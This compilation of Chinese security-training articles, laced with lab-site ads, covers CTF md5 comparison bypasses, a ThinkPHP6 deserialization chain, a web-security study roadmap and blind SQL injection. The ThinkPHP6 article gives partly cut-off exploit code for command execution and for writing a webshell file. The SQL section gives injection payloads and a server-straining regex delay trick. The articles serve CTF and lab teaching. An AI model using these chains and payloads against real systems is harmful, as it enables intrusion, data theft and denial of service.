浅谈md5弱类型比较和强碰撞
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 前言 在CTF中,md5的题目太常见了,虽然有很多这方面的文章,但相对来说比较零散,这里主要将自己学习和比赛时遇到的md5弱类型和强碰撞的题目从浅到深地梳理一下。 本文涉及知识点实操练习:浅谈md5弱类型比较和强碰撞 相关实验:https://www.yijinglab.com/cour.do?w=1&c=CCID2d51-5e95-4c58-8fc9-13b1659c1356(本课程旨在提供一些CTF题目给对CTF感兴趣的朋友们,让大家通过这些题目学习到相关知识。) 基本知识 php中有两种比较的符号==与=====在进行比较的时候,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。 ===在进行比较的时候,会先判断两种字符串的类型是否相等,再比较。 0e开头且都是数字的字符串,弱类型比较都等于0。 ==比较 测试代码 <?php if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) { if (md5($_POST['a']) == md5($_POST['b'])) echo 'flag'; else echo 'you are wrong'; } else echo "请输入不同的a,b值"; } 解法1 由于md5不能加密数组,在加密数组的时候会返回NULL 所以,我们可以传入两个数组 解法2 可以传入两个md5加密后是0e开头的字符串,需要注意的地方是,这个以0e开头的字符串只能是纯数字,这样php在进行科学计算法的时候才会将它转化为0。可以查找以0e开头md5加密相等的字符串,也可以自己编写代码,提供以下脚本。 <?php for($a=1;$a<=1000000000;$a++){ $md5 = md5($a); if(preg_match('/^0e\d+$/',$md5)){ echo $a; echo "\n"; echo $md5; echo "\n"; } } s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 ===比较 <?php if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) { if (md5($_POST['a']) === md5($_POST['b'])) echo 'flag'; else echo 'you are wrong'; } else echo "请输入不同的a,b值"; } ?> 解法1: 也可以传入两个数组,但不再适合传入两个0e开头的字符串,因为===是md5的强碰撞,进行了严格的过滤。 解法2: 使用md5加密后两个完全相等的两个字符串来绕过过滤。 如何生成两个不一样的字符串,但是MD5是一样的呢。参考https://xz.aliyun.com/t/2232后,我们可以使用快速MD5碰撞生成器来构建两个MD5一样,但内容完全不一样的字符串。 http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip 构造 创建一个文本文件,写入任意的文件内容,命名为ywj.txt (源文件) 运行fastcoll输出以下参数。-p 是源文件,-o是输出文件 fastcoll_v1.0.0.5.exe -p ywj.txt -o 1.txt 2.txt 测试 对生产的1.txt和2.txt文件进行测试 <?php function readmyfile($path){ $fh = fopen($path, "rb"); $data = fread($fh, filesize($path)); fclose($fh); return $data; } echo '二进制md5加密 '. md5( (readmyfile("1.txt"))); echo "</br>"; echo 'url编码 '. urlencode(readmyfile("1.txt")); echo "</br>"; echo '二进制md5加密 '.md5( (readmyfile("2.txt"))); echo " 可以看到,1.txt和2.txt文件二进制md5加密后的结果完全相同。由于1.txt和2.txt文件中含有不可见字符,所以需要将其url编码后使用。可以看到url编码后的两个字符串不完全相同,满足我们输入两个不同参数的需要。 当题目限制不能传入数组,只能传入字符串时,如下例题,就只能采用解法2. <?php if((string)$_GET['a'] !== (string)$_GET['b'] && md5($_GET['a'])===md5($_GET['b'])){ echo "you are right"; } else { echo "you are wrong"; } HECTF ezphp 源码 <?php  error_reporting(0); highlight_file(__file__); include('flag.php');  $string_1 = $_GET['str1'];  $string_2 = $_GET['str2'];  if($_GET['param1']!==$_GET['param2']&&md5($_GET['param1'])===md5($_GET['param2'])){         if(is_numeric($string_1)){              $md5_1 = md5($string_1);              首先查看一些strtr()函数的用法: strtr() 函数转换字符串中特定的字符。 观察源码,要求传入四个参数,首先param1===param2,因为没有别的限制,所以我们可以传入两个数组。对于是str1和str2,首先str1只能是数字,且最后$a == $b,但md5_1 != md5_2,所以我们不能传入两个md5加密后以0e开头的字符串。 又因为会将md5加密后的str1和str2中的cxhp替换成0123,也就是说c会被替换成0,所以一个ce开头的字符串会被替换成0e开头的字符串。 可以想到只要找到两个md5加密后是ce开头的字符串,或者一个md5加密后是ce开头的字符串,一个md5加密后是0e开头的字符串就可以绕过过滤。 构造脚本 这是一开始的脚本,返回值少,且执行速度慢。 <?php for($a=1;$a<=1000000000;$a++){ $md5 = md5($a); if(preg_match('/^ce\d+$/',$md5)){ echo $a; echo "\n"; echo $md5; echo "\n"; } } 这是进一步优化的脚本 <?php for($a = 1; $a <= 100000000; $a++) { $md5 = strtr(md5($a),'cxhp', '0123'); if(preg_match('/^0e\d+$/', $md5)) { echo $a; echo "\n"; echo $md5; echo "\n"; } } ?> 实战演练 <?php function random() { $a = rand(133,600)*78; $b = rand(18,195); return $a+$b; } $r = random(); if((string)$_GET['a']==(string)md5($_GET['b'])){ if($a.$r == $b) { print "Yes,you are right"; } else { print "you are wrong"; } } ?> 观察代码,有一个rondom方法,返回的是一个随机数,在这道题中,不需要清楚返回的是什么内容,我们只要知道返回的是一串数字就可以了。传入两个参数a和b,要求传入的是字符串,b会经过md5加密。最后要让$a.$r == $b。因为是弱类型比较,且只能传入字符串,想要的是两个0e开头的字符串进行比较,前面我们已经知道,以0e开头的字符串只能是纯数字,这样php在进行科学计算法的时候才会将它转化为0。所以保证$a以0e开头就可以了,因为$r是一串数字,所以$a.$r在php中还是可以被解析为0。因为$b是参数b经过md5加密而来,所以我们传入md5加密后是0e开头的字符串即可。 你想在靶场学习CTF技术吗?
thinkphp6的另反序列化分析
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> Forward 之前分析过tp6的一个链;当时是利用__toString方法去进行的中转,从而实现前后两个链的链接,这次是两个另外链条;利用的是可控类下的固定方法进行中转;开始分析; 首先环境可以composer一键搭建,然后php think run进行跑起来就可; 本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECIDb06f-9bfa-4e0a-80af-36af7391a643(通过该实验了解ThinkPHP5远程命令执行漏洞的原因和利用方法,以及如何修复该漏洞。) text 首先的想法就是利用析构函数进行最开始的触发;然后一路追踪魔法函数去进行一步一步的推导;首先找到魔法函数在AbstractCache类下; protected $autosave = true; public function __destruct(){    if (! $this->autosave) {        $this->save();   }} 其代码如上;可以看到autosave可以可控;这里我们可以手动给其复制为false;从而可以触发save方法; 回溯save方法;在CacheStore中找到了save方法;具体代码如下; public function save(){    $contents = $this->getForStorage();    $this->store->set($this->key, $contents, $this->expire);} 可以看到其调用了getForStorage方法,然后将其赋值给$contents变量。这里追随一下这个方法; public function getForStorage()   {        $cleaned = $this->cleanContents($this->cache);        return json_encode([$cleaned, $this->complete]);} 发现首先调用了cleanContents方法;然后在调用了json_encode方法,这里首先回溯一下cleanContents方法;    public function cleanContents(array $contents)   {        $cachedProperties = array_flip([            'path', 'dirname', 'basename', 'extension', 'filename',            'size', 'mimetype', 'visibility', 'timestamp', 'type',            'md5',       ]);    foreach ($contents as $path => $object) { 首先在这里看到了array_flip方法;这个方法是将数组的键名和键值进行替换;然后数组赋值给$cachedProperties变量;然后将我们传入的参数按照$path和$object的格式来进行各个遍历;然后将键名经过is_array方法的判断如果为true则进行后续的函数处理;否则就直接return $content这个数组;经过这一系列操作完之后,最终是return到了save函数里;然后接着去进行 $this->store->set($this->key, $contents, $this->expire);这里我们发现store也可控;那么就有两种思路,第一个就是去实例化一个有set public function set($name, $value, $expire = null): bool{    $this->writeTimes++;    if (is_null($expire)) {        $expire = $this->options['expire'];   }    $expire   = $this->getExpireTime($expire);    $filename = $this->getCacheKey($name);    $dir = dirname($filename);    if (!is_dir($dir)) {   这里可利用点在后面的serialize方法;直接追溯一下; protected function serialize($data): string{    if (is_numeric($data)) {        return (string) $data;   }    $serialize = $this->options['serialize'][0] ?? "serialize";    return $serialize($data);} 这里发现options参量可控;这里就存在一个问题,如果我们将其赋值为system,那么后续return的就是我们命令执行函数,里面的data我们是可以传入的,那么我们就可以实现RCE; 这里放出我自己写的exp; <?php#bash回显;网页不回显;namespace League\Flysystem\Cached\Storage{abstract class AbstractCache{    protected $autosave = false;    protected $complete = [];    protected $cache = ['`id`'];   }}namespace think\filesystem{use League\Flysystem\Cached\Storage\AbstractCache;class CacheStore extends AbstractCa 最后达到的效果就是system(xxxx);这里当时我测试没有回显,后来将代码调试了一下,发现是system里面参数的问题,后来我想到linux或者unix下反引号也是可以当做命令执行的,而且是可以首先执行的;所以我将代码改了下,嵌入反引号,这样可以更好的进行命令执行,但是这样的缺点就是可以执行,但是无回显;但是我们依然可以进行一些恶意操作; 通过这个链,相信可以发现一些端倪,除了可以rce以外,这个链在最后的利用地方还有一个file_put_contents这个也是可以利用的; 下面利用的一些骚姿势如果有师傅不太理解,可以看这个链接;https://s1mple-top.github.io/2020/11/18/file-put-content%E5%92%8C%E6%AD%BB%E4%BA%A1%C2%B7%E6%9D%82%E7%B3%85%E4%BB%A3%E7%A0%81%E4%B9%8B%E7%BC%98/ 下面也讲述一下;利用链和之前的是一样的;就是最后需要掌控一下filename和data的内容;我们可以看到如下图; 在最后的时候会有一个data的拼接,我本来想着在格式化那里尝试引入,但是格式化已经写死了,不能利用非法字符进行污染格式化引入危险代码;所以只能在最后的data处进行写入拼接;现在就是要控制data了;其实这里data是调用了serialize方法,追溯一下不难发现是将数组option中的serialize的键值拿出来套在了data前面;其实本质上也无大碍;但是这里有个小坑;因为是$serialize($data);所以这里要求这样的搭配必须是正确的,如果你随意传入函数,造成比如adsf($data);这样类型的不规则函数,就会导致报错,从而无法进行; 明白了这一点其实还有一个小坑;其实option的内容我们是可控的;那么我们就可以控制serialize的键值进行传入;但是这里因为之前进行了json_encode所以一般的函数最后构成的格式都无法进行base64解密;但是这里有个例外,我测试了serialize函数,发现经过序列化之后,我们可以正常进行base64解密;大概是因为可以构成字符串的原因吧;这里放出我的exp; <?phpnamespace League\Flysystem\Cached\Storage{abstract class AbstractCache{    protected $autosave = false;    protected $complete = [];    protected $cache = ['PD9waHAgcGhwaW5mbygpOz8+'];   }}namespace think\filesystem{use League\Flysystem\Cached\Storage\AbstractCache;class CacheStore extends Abst 另外可能有很多师傅困惑在可写目录的问题,这里我才用了虚目录的方法将其定位到了public目录之下;就在path参数那里可以体现; 最后访问结果是执行phpinfo;当然也可以写入system这样的命令执行函数;造成木马利用; 这个技术你学会了吗?加入https://www.yijinglab.com/mobile/actReg.html?pk_campaign=wenzhang-wemedia,1300+网安技能任你学!
这都学不好Web安全 你真的太让我失望了
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> Web安全浅析 在探讨Web安全学习之前,首先了解一下什么是Web 看到这里,你可能会问:这么多内容都需要学习吗? 答案是:可以不用学得很深入,但是如果不了解这些研究对象,是不可能搞好的安全研究的。(原话来自余弦大佬在知乎的回答) 那么这么多内容应该从哪里开始学呢?别急,等了解完什么是Web安全再学也不迟。 把Web服务各层串联起来的就是数据流,掌握了数据流就能知道数据在每层是如何处理的。而在数据流中有一个关键的协议,就是HTTP协议,搞明白HTTP协议后,你就会明白一个专业术语“输入输出”。黑客通过输入提交‘特殊数据’,‘特殊数据’在数据流的每个层处理,如果其中某一层没处理好,在输出的时候,就会出现相应层的安全问题,也就是本文的重点——Web安全。 例如: 操作系统:数据如果在操作系统层上没处理好,可能会产生命令执行等安全问题; 存储:数据如果在存储层上没处理好,可能会产生SQL注入等安全问题; Web容器:数据如果在Web容器层中没处理好,可能会产生远程溢出、DoS等安全问题; Web服务端语言:代码审计对于安全人员来说也是一项重要技能; Web开发框架/Web应用:数据如果在这里没处理好,可能会产生命令执行等安全问题; Web前端框架:数据如果在Web前端框架中没处理好,可能会产生XSS跨站脚本等安全问题; 到这里可以看出“输入输出”对于安全的重要性了吧。 接下来的内容都是干货 初步了解了什么是Web以及容易产生的一些安全问题,下面具体来说说入门Web安全应该学什么,怎么学。 还是从Web服务说起,操作系统层具体分为Windows和Linux,Windows又有Win10、Win8、Win7、WindowsServer 2016、WindowsServer 2012、WindowsServer 2008、WindowsServer 2003等版本,主要了解它们的安全配置及相关漏洞。 Windows系统安全配置: http://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916560700001&通过学习Windows系统安全配置课程,基本了解Windows操作系统的安全加固方法 Windows系统加固: http://www.yijinglab.com/expc.doec=ECID172.19.104.182015070809494300001这也是和Windows系统安全加固相关的实验。 还有很多Windows相关的比如文件系统备份、用户管理、日志清理、用户口令破解等知识,都可以在 http://www.yijinglab.com/pages/search.html?wk=Windows进行学习。 而Linux又有CentOS、Redhat、Ubuntu、Debian、Fedora、openSUSE等诸多发行版本,说到Linux,不得不提那本被推荐了无数遍的——《鸟哥的Linux私房菜》 http://cn.linux.vbird.org/纯文字的阅读难免让人感觉枯燥,作者更喜欢一边学习一边动手操作: Linux入门最佳实践: http://www.yijinglab.com/cour.do?w=1&c=CCID7ca1-dae5-48f4-8dd6-d8b6c2b5938b&课程包括Linux的发展、文件管理基础命令、管道命令、账户及系统管理等 存储层主要分为数据库存储、内存存储和文件存储,其中数据库有MySQL、Oracle、MSSQL、access、MongoDB、Redis等,数据库是SQL**注入**学习的基础。 MySQL数据库相关基础学习: http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015082709474200001了解MySQL表的结构与内容,增加用户及授权,删除用户等操作。 MongoDB安全配置: http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016030216511800001实验介绍了MongoDB数据库及其安全攻防实践,通过学习此实验了解MongoDB的基本操作和安全特性。 Redis数据库安全实践: http://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182015052010331700001& 系统性的SQL、MySQL学习也可以到w3cschool上进行。 Web容器包括Apache、IIS和Nginx,这里推荐几个集合环境软件: php集合环境软件phpStudy: http://www.phpstudy.net/phpstudy/phpStudy20161103.zip jsp集合环境软件jspStudy: http://www.phpstudy.net/phpstudy/JspStudy.zip ASP集合环境软件小旋风ASP服务器: http://www.jb51.net/softs/35167.html 第一个phpStudy集合了Apache、MySQL和PHP,将Web源码放到phpStudy里就搭建好了自己的Web服务器。具体教程自行百度,这里就不放链接了。 Web服务端语言:前面提到了代码审计,入门Web安全其实不需要对语言进行系统性的学习,这样很浪费时间,只要平时在分析漏洞原理、查看目标网站源代码等时候,对重要的函数、方法等有所了解,能够举一反三即可。 PHP基础: http://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916344500001&通过基础实验了解PHP语言,为后续的学习打下基础。 PHP代码审计: http://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916230700001&通过此实验学习PHP代码审计的基础知识及PHP常见危险函数 Web框架/应用:开发框架包括Struts2、React、Django、thinkPHP等,前端框架包括jQuery、Bootstrap、HTML5、semanticUI、Pure等,Web应用包括BBS,blog,discuz、metinfo、Joomla等各种CMS,不需要大家用这些框架搭建Web应用,只需要了解各框架/CMS存在哪些漏洞,其原理、利用以及如何进行修复等。 横向的学习路径介绍完,开始纵向学习数据流之《HTTP从入门到放弃》。 协议这个东西光靠看书学习很费劲,有什么快速掌握的途径吗? 还真的有,通过学习一些入门的HTTP**协议**,然后浏览器F12看看‘Network’标签里的HTTP请求响应,结合wireshark等协议分析软件,不出几个小时,就大概能知道HTTP协议是什么了。 HTTP协议基础: http://www.yijinglab.com/expc.do?ce=08398307-4303-4dde-bcfc-e8bd67f2e772 wireshark数据抓包分析之HTTP协议: http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015121711544400001掌握wireshark的基本操作,加深对HTTP协议的理解。 通过wireshark分析其他协议: http://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182015012915332000001& 梳理完Web服务的学习,下面正式开始入门Web安全,掌握了下面这些,就算Web安全入门了。 一、命令执行 命令执行漏洞: http://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2017050511014000001通过实验了解命令执行漏洞产生的原因,学习漏洞的利用和修复。 ImageMagick命令执行漏洞: http://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016072212485000001由于大量的Web程序都使用了ImageMagic的拓展,导致本地命令执行漏洞在Web环境里可以被远程触发,危害巨大。 Memcached远程命令执行漏洞: http://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016111016360600001 通过实验学习memcached远程命令执行漏洞的利用及修复方法。 还有很多命令执行漏洞的学习实例: http://www.yijinglab.com/pages/search.html?wk=%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C 二、SQL注入 包括布尔盲注、时间盲注、报错注入、联合查询注入、宽字节注入、二次注入等。 渗透SQL注入: http://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916131700001&在入门之前先了解SQL注入的原理: SQL注入初级: http://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182014081415242400001&九个实验带你入门SQL注入: [公开课]有一种注入叫SQL注入: http://www.yijinglab.com/expc.do?ce=f18c2a12-c43d-4469-871f-6cb1cbf5a821从SQL语句基础到SQL注入漏洞形成原理和实战利用,让你认识什么是SQL注入。 三、文件上传 包括客户端绕过js检查进行上传及服务端绕过后缀及内容检查进行上传,服务端绕过又包括特殊后缀欺骗上传、配合解析漏洞上传、截断上传等。 文件上传漏洞: http://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2017042513351500001学习文件上传漏洞产生的原因,以及如何利用和修复。 [公开课]玩转文件上传漏洞: http://www.yijinglab.com/expc.do?ce=5a965bc3-29d8-4658-a203-be1a144219ff通过此公开课学习文件上传漏洞产生的原因,以及文件上传绕过的各种姿势。 kindEditor文件上传漏洞分析和利用: http://www.yijinglab.com/expc.do?ce=85d2566f-1161-47fa-b23c-0a5ac5649f07kindEditor编辑器组件最近爆出的文件上传漏洞,通过实验还原入侵过程,了解漏洞原理和防护方法。 四、文件包含 包括本地文件包含和远程文件包含。 文件包含漏洞: http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015060917272000001 简单的文件包含: 五、溢出、Dos 缓冲区溢出基础与实践: http://www.yijinglab.com/expc.do?ec=9613f998-8cd2-4981-9bc5-9900c97371de通过实验了解缓冲区溢出的原理与危害,掌握缓冲区溢出的基本方法,学会进行常见的缓冲区溢出攻击。 缓冲区溢出漏洞调试与分析: http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014040109201500001利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重启等后果。 实战挖掘某ftp服务器溢出漏洞: http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015091110221500001了解ftp服务漏洞的表现形式及利用方法。 六、跨站脚本攻击(XSS) 包括反射型XSS、存储型XSS及DOM型XSS。在学习XSS前,应该熟悉HTML/CSS及JavaScript,否则很难研究好XSS。 HTML基础: http://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2017041911340800001了解HTML的基本结构和标签。 JavaScript基础: http://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2017041815391500001了解什么是JavaScript,了解DOM操作和BOM操作。 渗透XSS: http://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916134500001&学习XSS漏洞原理,以及如何利用XSS漏洞对目标系统进行渗透测试。 七、跨站请求伪造(CSRF) 分为GET型和POST型。 渗透CSRF: http://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916141200001&八、XML外部实体注入攻击(XXE) 在学习XXE前,应该熟悉XML语言,否则很难研究好XXE。 XXE漏洞攻击与防御: http://www.yijinglab.com/cour.do?w=1&c=CCIDc75d-d37a-42d4-878b-6f130c004ad2&包括对XXE漏洞的分析与相关组件XXE漏洞学习: 九、解析漏洞 Apache解析漏洞: http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015120111342100001了解解析漏洞原理,常用的攻击方法以及有效的防御手段。 Nginx解析漏洞: http://www.yijinglab.com/expc.do?ec=ECID218.76.35.762014021910351300001 IIS解析漏洞在fckEditor上传攻击中的利用: http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015102217243800001通过实验学习IIS6.0中的解析漏洞,掌握IIS6.0解析漏洞在fckEditor上传攻击中的利用方法。 十、身份认证与访问控制 统一身份认证: http://www.yijinglab.com/expc.do?ec=ECIDb263-0747-4118-9d51-c33f31691cb7判断一个用户是否为合法用户的处理过程。 非授权访问: http://www.yijinglab.com/expc.do?ec=ECIDa2d4-e095-420a-9709-21e18a531479包括非法用户进入网络或系统进行违法操作,合法用户以未授权的方式进行操作。 Jenkins未授权访问漏洞利用实践: 十一、反序列化 包括PHP反序列化、Java反序列化、Python反序列化等。 PHP反序列化漏洞: http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016010714511600001了解什么是反序列化漏洞,其成因以及如何挖掘和预防反序列化漏洞。 Java反序列化漏洞: http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015111916202700001以ApacheCommons Collections3为例,分析和复现Java反序列化漏洞。 Python反序列化漏洞: http://www.yijinglab.com/expc.do?ec=ECID7eab-0fb2-4f21-96df-5c1f912e5572了解Python反序列化漏洞产生的机理,增强安全意识。 十二、Web框架/应用安全 前面提到了Struts2、React、Django、thinkPHP等开发框架,jQuery、Bootstrap、HTML5、semanticUI、Pure等前端框架,以及discuz、metinfo、Joomla等各种CMS。 Struts2框架安全: http://www.yijinglab.com/expc.do?ec=ECID218.76.35.762014021913330900001! Struts2(s2-045)远程命令执行漏洞分析与复现: http://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2017031012041000001! ThinkPHP5远程代码执行漏洞: http://www.yijinglab.com/expc.do?ce=06d28a64-2021-4cbb-a3f9-65a27bfd7ce2! Joomla未授权创建账号/权限提升漏洞: http://www.yijinglab.com/expc.do?ce=da5480f4-87af-412a-90f6-72b1c2cbd920! Joomla反序列化远程代码执行漏洞: http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016012817294800001 BEEF框架攻击: http://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2016091409272000001&以WordPress 博客系统为基础,典型的XSS漏洞为案例,详细学习beef平台下各个模块的常用命令和攻击方法。 看到这里有没有一种怀疑人生的感觉? 不用怀疑,入门Web安全没有你们想象的那么难,弄懂上面说的这些,你还会觉得你是一个什么都不懂的小白吗? 可能大家会问,入门Web安全之后应该如何提升个人技能呢? 如果有已经入门了的朋友,或者说对Web安全有了一定的了解,想掌握更多的Web安全技能,麻烦大家在留言处吱一声,作者会根据留言情况考虑是否出一个Web安全进阶学习路线。 也麻烦还没有入门的朋友,先按照文章提到的内容一步步来。 亲亲,这边建议您点击阅读原文直接前往蚁景网安实验室进行学习呢,PC端体验更佳哟! 这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
两种CTF中特殊盲注的总结
前言 Blind SQL(盲注)是SQL注入攻击的其中一种。在sql注入过程中,sql语句执行后数据不会回显到前端页面,此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。 本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECIDee9320adea6e062017112114363500001 (本实验讲解了MySQL注入中,3种盲注方式:基于布尔的盲注、基于时间的盲注、基于报错的盲注。通过学习本实验,能了解盲注原理。) SQL盲注基本知识 常用基本函数 IF(expr1,expr2,expr3) 若expr1为true,则返回expr2,为false则返回expr3 SELECT IF(TRUE, 'A','B') -- 输出结果:A SELECT IF(FALSE,'A','B') -- 输出结果:B ASCII(str) 返回字符串str最左面字符的ASCII值 SELECT ASCII("flag") -- 输出结果:102 ORD(str) 返回字符串str第一个字符的ASCII值 SELECT ORD("flag") -- 输出结果:102 CHAR(int) 将ASCII码值int转换成字符 SELECT CHAR(65) -- 输出结果:A MID(str,pos,len) 从pos位置开始,截取字符串str共len个长度的字符 SELECT MID("Hello World", 3, 5) -- 输出结果:llo W 与SUBSTR(str,pos,len) 效果相同 LEFT(str,len) 返回字符串str左边部分共len个字符 SELECT LEFT("flag", 2) -- 输出结果:fl SLEEP(duration) duration是休眠的时长,以秒为单位,也可以是小数 SELECT SLEEP(3) # [SQL] SELECT SLEEP(3) # 受影响的行: 0 # 时间: 3.005ms REGEXP 正则表达式,用来匹配文本的特殊的串(字符集合) SELECT "FLAG" REGEXP "LA" -- 输出结果:1 SELECT "FLAG" REGEXP "[0-9]" -- 输出结果:0 其它 LENGTH(str) -- 返回字符串str的长度 DATABASE() -- 返回当前数据库名 VERSION() -- 返回当前MySQL版本 布尔盲注 根据注入点的输入,页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据。 SELECT IF(LENGTH(DATABASE())>3, 1, 2) -- 输出结果:1 SELECT IF(LENGTH(DATABASE())>4, 1, 2) -- 输出结果:2 据此可知数据库名的长度为4 时间盲注 通过执行时间的长短来判断是否执行成功,也就是时间延迟注入。 SELECT IF(MID(DATABASE(),1,1)='c', SLEEP(3), 2) -- 3秒后才响应 SELECT IF(MID(DATABASE(),1,1)='a', SLEEP(3), 2) -- 立即响应 据此可知数据库名的第一个字符为c 以下2道题目:flag在flag表的flag字段 在本地搭建靶机,用post传参,变量keywords接收 基于运行错误的布尔盲注 基于运行错误的布尔盲注即能够通过sql语句的语法、语义分析,但运行时报错。 我们可以将其作为IF(expr1,expr2,expr3)的expr3,当expr1为true时,返回expr2,页面正常,而为false时,则会执行expr3,此时因为运行错误而页面无法正常显示。 ST_GeomFromText(character-string[, srid]) 是根据字符串表示构造几何的方法,即: SELECT ST_GeomFromText( 'LineString( 1 2, 5 7 )', 4326 ) -- 输出结果:[0102000020E610000002000000000000000000F03F000000000000004000000000000014400000000000001C40] ST_X(point):该方法是获取点的x坐标,它操作的对象是一个点,即: SELECT ST_X(POINT(2,3)) -- 输出结果:2 但当操作对象不是点时,运行会报错,却能够通过sql的检查,所以可以用来构造true和false两种情况下出现不同的页面 SELECT IF(1, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- 输出结果:1 SELECT IF(0, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext. P.s. ST_GeomFromText 、 ST_MPointFromText 是两个可以从文本中解析Spatial function的函数。 需要注意的是 ST_GeomFromText 针对的是 POINT() 函 数, ST_MPointFromText 针对的是 MULTIPOINT() 函数的。 其他可用的函数: SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0); SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0); SELECT IF({}, ST_X(MADS), 0); SELECT IF({}, ST_MPointFromText('MADS'),0); SELECT IF({}, ST_GeomFromText('MADS'),0); 如果题目过滤了ST,可以尝试用GeomFromText()和X(),但MySQL在5.7.6版本之后就弃用了。 NameDescriptionX() (deprecated 5.7.6)Return X coordinate of PointGeomFromText()(deprecated 5.7.6)Return geometry from WKT 当输入1、2、3等数字时,页面返回Hello World 而当输入被过滤的关键字时,网页返回No Hacker 由此可以测试一些被过滤的关键字有: '、"、or、-、*、>、<、=、like、sleep、substr、mid、ascii、ord 然而在不被ban掉的情况下,网页只能返回一种页面,无法进行平常的数字型盲注。 而像if(0,1e9999,1),因为无法通过sql语句的检查,所以页面无法正常显示,更别说if(1,1e9999,1)了。 此时可以考虑用基于运行错误的布尔盲注,语法、语义上能够通过sql的检查,但如果执行到该语句却会运行错误,这样便能够构造true和false两种情况了。 用if来进行盲注,'被过滤了,用十六进制绕过。 if(1,1,ST_X(ST_GeomFromText('POINT(mads)')) > if(1,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)) 此时页面返回Hello World。题目说flag在flag表的flag字段,用left()截取第一个字符进行判断,=和like可以用regexp代替。 构造payload: if(left((select flag from flag),1) regexp char(102),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329))) 此时页面仍然返回Hello World,可以知道flag的第一个字符是char(102),也就是f if(left((select flag from flag),2) regexp char(102,108),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329))) 而第二个字符是char(108),也就是字符l 用python写个脚本 import requests def fun(string): result = "" j = 1 for i in string: if j != len(string): result = result + str(ord(i)) + "," else: result = result + str(ord(i)) j += 1 return "char(" + result + ")" url = "http://sqlblind.com/index.php" tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{" flag = "" fo 基于巨大运算时间的时间盲注 由于在这里过滤了ST,所以以ST开头的函数会被ban,无法使用。 同时又过滤了sleep,所以无法通过时间休眠来延迟时间,也就没法用sleep来进行时间盲注。 但我们可以通过sql语句来执行一个运算时间很长很长的语句,以此来作为时间延迟,也就是说用if来判断flag的字符,如果正确则执行一个需要很长运算时间的语句,否则返回0。 所以之后用python写脚本的时候,设定一个超时时间,在设定时间内没有返回内容即字符正确,这样便能进行时间盲注了。 在此之前先了解几个函数 rpad(str,len,padstr) 对字符串str进行右填充,用padstr填充至str长度为len个字符 SELECT RPAD('hi', 5, '?') -- 输出结果:hi??? concat(str1,str2,...) 连接多个字符串为一个字符串 SELECT CONCAT('he', 'll', 'o') -- 输出结果:hello repeat(str,count) 返回字符串str重复count次后的字符串 SELECT REPEAT('ab', '3') -- 输出结果:ababab 构造payload: 1 and if((select flag from flag) regexp binary 'f',rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b'),0) 也就是说如果flag的第一个字符为f的话,则会执行下面这句语句: rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b') rpad('a',5000000,'a')会填充为5000000个a,会构造成一个很长的字符串,与字符串concat(repeat('(a.*)+',30),'b')去作正则匹配,通过巨大的运算量来延时。 这样做的话服务器可能会崩 由于题目过滤了',所以用十六进制代替 1 and if((select flag from flag) regexp binary 0x66,rpad(0x61,5000000,0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0) 以下两种图片用get传参测试时间延迟效果 猜中flag的第一个字符时: 